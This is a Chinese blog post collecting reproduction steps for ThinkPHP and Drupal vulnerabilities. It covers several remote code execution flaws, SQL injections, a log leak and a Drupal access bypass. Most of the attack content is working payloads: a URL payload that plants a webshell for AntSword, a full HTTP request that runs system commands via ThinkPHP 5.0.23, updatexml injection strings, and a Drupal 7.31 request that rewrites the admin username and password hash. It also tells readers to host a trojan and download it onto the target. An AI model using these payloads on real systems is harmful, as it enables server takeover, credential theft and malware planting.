ThinkPHP及Drupal漏洞合集

ThinkPHP漏洞

ThinkPHP2.x远程代码执行漏洞

漏洞复现


使用payload 直接访问,即可执行phpinfo():

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D


利用该漏洞getshell,下面给出一个能够直接蚁剑(菜刀)连接的payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

 

ThinkPHP3.2.3 SQL注入漏洞

明显发现之前的user参数为:0然后被替换为了liao,这样就把:替换掉了。后面的:1明显是替换不掉的:

那么我们将id[1]数组的参数变为0呢?id[]=bind&id[]=0%27&money[]=1123&user=liao

果然造成了注入:POC:money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

ttp://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0)

ThinkPHP3和ThinkPHP5日志泄露

 访问该文件,查看日志获取管理员的密码

ThinkPHP5.0.23远程代码执行漏洞

访问http:localhsot:8080可以看到php的默认页面

使用poc进行验证 用post请求提交如下信息

POST /index.php?s=captcha HTTP/1.1
Host: 10.10.10.157
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

可以看到发包服务器返回请求如下

写入phpinfo

先查看当前路径pwd

写入phpinfo

访问

 

ThinkPHP5.1.X SQL注入漏洞

最终Payload构造如下:

http://127.0.0.1/tp5.1/public/index/test/index?order[id`,111)|updatexml(1,concat(0x3a,user()),1)%23][]=1

http://127.0.0.1/tp5.1/public/index/test/index?order[id`,'aaa')| updatexml(1,concat(0x3a,user()),1)%23][]=1

 

ThinkPHP6 SQL注入漏洞

sqlmap跑漏洞

Drupal漏洞

Drupal  远程代码执行漏洞

安装成功后如图所示:


如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。


Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置

访问 http://127.0.0.1:8088/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径, phar://./sites/default/files/pictures/2020-07/blog-ZDI-CAN-7232-cat.jpg,保存后将触发该漏洞。如下图所示,触发成功

 

看一下POC,

 

修改一下执行命令,比如ls -al,此时是6个字节数,要把s对应的字节数目改成6:


在Drupal的机制中,设定了这样一条规则:
用户上传的图片文件名将会被保留,如果出现文件名相同的情况,那么文件名后面就会被跟上_0,_1依次递增。

 


再次上传,在 Temporary directory 处输入新的上传的图片路径, phar://./sites/default/files/pictures/2020-07/blog-ZDI-CAN-7232-cat_0.jpg,触发成功。

 

 

将木马存放到你的服务器,之后通过命令来下载

 

Drupal 7.31 SQL注入漏洞

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

本地环境测试效果:

Drupal  访问权限绕过漏洞

安装Drupal 8.7.4版本,登录管理员账户,进入后台/admin/modules,勾选Workspaces模块并安装。

 

在页面上方出现如下页面则安装成功,管理员可以切换Stage模式或者Live模式。

 

另外开启一个浏览器访问首页(未登录任何账户),访问http://127.0.0.1/drupal-8.7.4/node/add/article,可直接添加文章,无需作者或管理员权限。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值